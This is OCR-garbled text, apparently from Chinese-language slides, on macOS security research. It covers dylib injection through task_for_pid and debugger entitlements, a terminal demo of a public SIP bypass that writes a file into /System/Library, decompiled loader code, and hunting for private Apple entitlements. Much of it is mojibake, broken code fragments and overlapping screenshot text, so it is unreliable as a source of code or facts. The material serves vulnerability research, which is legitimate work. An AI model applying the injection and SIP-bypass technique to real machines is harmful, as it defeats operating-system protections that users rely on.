Bl |HR AN SR HFE: char *target_argv[] = {(char *)target_binary,
pid_str, "-printDemangling”, NULL};

(ERAFAENZIRY task_for_pid JEAFEEEE entitlement BYHTE
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HEfN?

(FFE |HARAIZEXAY symbols, BAIE root tNFEHNAT

% 08 R IE IS AIHENE; BRIE sudo /usr/sbin/ , N
N - — o 2 i MmA %L B w V%8 (F1o o)

DevToolsSecurity -enable J5

= tmp.4FXNKj7d symbols Finder | head -n 10
Developer Tools Access needs to take control of Finder [x86_64, 0.329990 seconds]:

another process for debugging to continue. shared_cache: FD5C76ED-4DFD-34B6-89BE-478F36763ACF
AFAB4EFA-7020-34B1-BBEF-0F26C6D3CA36 /usr/lib/dyld [DYLD, SLID, FaultedFror
Ox0000000114decddd ( Ox4b@OO) __TEXT SEGMENT
Ox0000000114decddd ( ©Ox1000) MACH_HEADER

Enter your password to allow this.

User Name: Ox0000000114def00d ( Ox3lefa) __TEXT __text
Ox0000000114de 000 ( @x67) dyld3::kdebug_trace_dyld_image(ut
Paseword: char const (*) [16], fsobj_id, fsid, mach_header const*) [FUNC, PEXT, NameNLi:

Merged, NList, FunctionStarts]
Ox0000000114defd67 ( @x9f) dyld3::kdebug_trace_dyld_signposi
ned long long, unsigned long long) [FUNC, PEXT, NameNList, MangledNameNList, M
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#%1d SIP

PMEE entitltment 1 1T71CAS, 7E root PR ™A AR T SIP
https://github.com/ChiChou/10.13.5-sip-bypass

P® sip git:(master) X file /System/Library/sip.txt

/System/Library/sip.txt: cannot open "/System/Library/sip.txt’ (No such file or directory)
® sip git:(master) X sudo ./bin/test

[x1anzh1] taytay pid: 42472

sleep

[ x1anzhi] module: Ox7fb3415207d0

x1anzhi] bootstrapfn: 0x109915d90

[ x1anzhi] pid: 386

mach_inject: found threadEntry image at: 0x109915000 with size: 9544
[xitanzhi1] 1nject dylib returns 0

® sip git:(master) X file /System/Library/sip.txt
/System/Library/sip.txt: ASCII text, with no line terminators

® sip git:(master) X cat /System/Library/sip.txt

hellog

¥ sip git:(master) X sudo rm /System/Library/sip.txt

Password:

override rw-r--r-- root/wheel restricted for /System/Library/sip.txt? y

rm: /System/Library/sip.txt: Operation not permitted


https://github.com/ChiChou/10.13.5-sip-bypass
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10.14 M hRIZE

High Sierra Mojave

= dlopen("/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib", 1);
if ( )
goto LABEL_17;
if ( get_path_relative_to_framework_contents(
"../../Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib",
&

0x4@06LL) ) har ___ ZL22call_external_demanglePKc_block_invoke()

= )

_BYTE *v@; //

= dlopen(& , 1); signed __int64 vl1; //

if ( )
goto LABEL_17;
}

if ( get_path_relative_to_framework_contents("../../usr/lib/libswiftDemangle.dylib", & , 0x400ulLL) )
{
= dlopen(& y 1);

if ( )
goto LABEL_17;

etenv("CS_DO_NOT_DEMANGLE_SWIFT");

LOBYTE(v@) = xv0 - '@', (unsigned __ int8)v0 <= @Ox3Eu)
= 4611686019501129729LL, _bittest64(&v1l, (unsigned __ int8)v0o)) )

if (
|

g
!
(
& (

1
2
3
4
5
6
7
8
9
10

-~

11 = dlopen("/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib", 1);
12 if ( )

13 {

14 = dlsym(v@, "swift_demangle_getSimplifiedDemangledName");

15 demanglerLibraryFunctions = (__int64)v0;

16 }

17| }

18 return (char)ve;

19}

dlopen("/usr/1lib/libxcselect.dylib", 1);

)
= (unsigned __int8 (__fastcall x)(char %, signed __int64, char %, char %, char x))dlsym(

’
"xcselect_get_dev

if ( & vA(& , 1024LL, &5, &6, &7) ) |
{
strlcat(& , "/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib", 0x400uLL);
= dlopen(& , 1);
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ELK B9&I

427 hits

® LI E F : %Z‘Ij: *ﬁ ?—Tl_.l‘: -% . EE& entitlement:com.apple.private*

entitlement:com.apple.private*

F TR —

entitlement: <?xml version="1.0" encoding="UTF-8"7> <!DOCTYPE plist PUBLIC "-//Af
Selected Fields _ ., _ T . . .
- ropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.private.extensiq
|
o C I aSSd u m p n m JtOOI # m.apple.private.extension-host.safari-extension</key> <true/> <key>com.apple.secu
\
) ) fari</key> <array> <string>com.apple.Safari.show-extensions-preferences</string> -

Available Fields n</string> </array> <key>com.apple.SafariTechnologyPreview</key> <array> <string>«

am ropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.FaceTime.NoPromy

® tt re 57‘51@ <true/> <key>com.apple.private.tcc.allow</key> <array> <string>kTCCServiceAddresst
g p -id tring>kTCCServiceReminders</string> </array> <key>com.apple.security.app-sandbox<
_index </key> <true/> <key>com.apple.security.personal-information.addressbook</key> <tr

_Score s " " - " " - mn
entitlement: <?xml version="1.0" encoding="UTF-8"7> <!DOCTYPE plist PUBLIC "-//Af

_type ropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>application-identifier</kg

class_dump ng> <key>com.apple.private.system-keychain</key> <true/> <key>com.apple.springboa

s-groups</key> <array> <string>apple</string> <string>com.apple.cfnetwork</string

codesign )
5 ameworks/CFNetwork. framework/versions/A/Support/AuthBrokerAgent £lags.nx: true f
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apple:yes import:_dlopen entitlement:com.apple’ ERYL1ERVEEE

mbsystemadministration

m m /System/Library/CoreServices/Setup Assistant.app/Contents/Resources/mbsystemadministration

took 0.241s, found 122

Notes
m> m.apple.Notes</string> <key>com.apple.authkit.client.inte 1 l</key> <true/> SeCtionS Sections

<key>com.apple.developer.a| ‘ : : Libraries
_text __stubs __stub_helper __objc_classname __objc_methname __objc_methtype

scom.apple. s nts.apples int.fullaccess</Key> <true/> <key>com.apple.application _cstring _gcc_except_tab __const __oslogstring __unwind_info __nl_symbol_ptr __got Symbols

identifier</key> <string _Ia_.syrnbol_ptr _con;t _cfstring ._objcﬁclassllst‘ __objc_catlist _.ObJC_pI‘OTOHST
_objc_imageinfo __objc_const __objc_selrefs __objc_protorefs __objc_classrefs

> <array> <string>com.apple.notes</string> </array> <key>com.apple.developer. 1d _objc_superrefs _objc_ivar _objc_data _data _ bss Code Signature

services</key Entitlement

-kvstore-identifier</key> <string>com.apple.Notes</string> <key lerarles

PI</key> <true/>

classdump

/System/Library/PrivateFrameworks/BridgeOSinstall.framework/Versions/A/BridgeOSinstal

otool
/System/Library/PrivateFrameworks/AuthKitUl.framework/Versions/A/AuthKitUI

strings
/System/Library/PrivateFrameworks/FindMyDevice.framework/Versions/A/FindMyDevice

- _write /usr/lnb/lleystedeyIIb Jusr/lib/liblASAuthReboot.dylib

/System/Library/PrivateFrameworks/SystemMigration.framework/Versions/A/SystemMigra
dyld_stub_binder fusr/lib/libSystem.B.dylib fon
otool /System/Library/PrivateFrameworks/ConfigurationProfiles.framework/Versions/A/Configur

__mh_execute_head = None ationProfiles

er strings /System/Library/PrivateFrameworks/StorageKit.framework/Versions/A/StorageKit

/System/Library/PrivateFrameworks/login.framework/Versions/A/login

i
‘ Od e S I g n /System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfigur
ation

Executable=/System/Library/CoreServices/Setup Assistant.app/Contents/Resources/mbsystemadministi [usr/lib/liblASUnifiedProgress.dylib
Identifier=com.apple.mbsystemadministration

Format=Mach-0 thin (x86_64)

CodeDirectory v=20100 size=1873 flags=0x@(none) hashes=51+5 location=embedded
Platform identifier=4

/System/Library/PrivateFrameworks/CrashReporterSupport.framework/Versions/A/CrashR
eporterSupport

/System/Library/PrivateFrameworks/IASUtilities.framework/Versions/A/IASUtilities
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s BRIERFIWNZES HIDARICAIEI—EIFE Bl 5 R

s PHIREIFESFHREKT AINTENRH, =a2RZIHAE0)R{EBRIGA]
HIIIER; AFRIAMEEREIR A E ZAYRITEE

 Apple X1EABTE, RR—EEEZNIRMIREANTNLE, SEULKORES
=ARELEELAS
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Jonathan Levin Mac OS X and iOS Internals

lan Beer Auditing and Exploiting Apple IPC
(along with his blog posts and bug reports)

Patrick Wardle Stick That In Your (root)Pipe & Smoke It, Reversing to
Engineer: Learning to 'Secure' XPC from a Patch

Apple Developer Site

Along with other write-ups


https://developer.apple.com

BYE K =nziExs

Know it. then hacKk it ?7




